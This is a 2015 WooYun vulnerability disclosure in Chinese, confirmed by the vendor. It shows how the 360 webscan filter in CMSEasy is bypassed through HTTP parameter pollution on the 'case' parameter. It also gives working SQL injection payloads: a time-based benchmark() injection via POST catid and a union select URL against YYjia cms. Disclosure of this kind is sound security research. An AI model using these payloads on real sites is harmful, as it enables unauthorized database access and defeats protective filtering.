漏洞概要 关注数(28) 关注此漏洞
缺陷编号: WooYun-2015-99513
漏洞标题: 使用webscan360的cms厂商通过hpp可使其失效(附cmseasy新版sql注射)
相关厂商: cmseasy
漏洞作者: 路人甲
提交时间: 2015-04-02 10:08
公开时间: 2015-07-01 21:48
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 无
漏洞详情
披露状态:
2015-04-02: 细节已通知厂商并且等待厂商处理中
2015-04-02: 厂商已经确认,细节仅向厂商公开
2015-04-05: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-05-27: 细节向核心白帽子及相关领域专家公开
2015-06-06: 细节向普通白帽子公开
2015-06-16: 细节向实习白帽子公开
2015-07-01: 细节向公众公开
简要描述:
使用webscan360的cms厂商通过hpp使其失效(附cmseasy新版sql注射),思前想后,不知道这个漏洞到底该给360呢 还是给cmseasy 最终还是给了确认神速的cmseasy
详细说明:
默认安装cmseasy最新版本
webscan_cache.php:
然后再看
360webscan.php:
第一个条件
$webscan_switch 这个值初始化时候是1
第二个条件只要不成立 那么就不仅行检测了
跟进去webscan_white:
这个函数不多做分析,就是从白名单里面拿出来,如果符合条件,那么不进行检测
if (stristr($url_path,$key)&&stristr($url_var,$value)) {
return false;
}
这个显而易见就是 如果请求为$key 并且参数中有$value 就返回false
根据刚才的分析,默认白名单
我们发送的请求中case=admin那么就不进行防御
根据hpp apache的定义 参数case=admin&case=123 最终服务器端获取的是case=123
所以这样就不影响逻辑了
发送url:
由此可见防御没有起作用
那么我们找找 有没有sql注入的地方
archive_act.php:
这里如果提交post[catid],就构成sql注射了
我们在跟进一下:
发现这里又做了一层防御,看到这里只能用banchmark了
我们发送url:
http://localhost:8081/cmseasy/uploads/index.php?case=admin&case=archive&act=search&catid=8
postdata:
catid=3) and benchmark( 10000000, md5(123))#
造成七秒延迟
抓取的sql:
2015/3/4 17:58 SELECT * FROM `cmseasy_archive` WHERE catid in (3) and benchmark( 10000000, md5(123))#) AND (title like '%%') and (state IS NULL or state<>'-1') ORDER BY `listorder`,1 DESC limit 0,12
在看一个cms:
YYjia cms
发送url:
http://localhost:8081/index.php?m=admin&ac=register&a=1 union select 1,2,3,4
漏洞证明:
修复方案:
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:5
确认时间:2015-04-02 21:46
厂商回复:
感谢
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值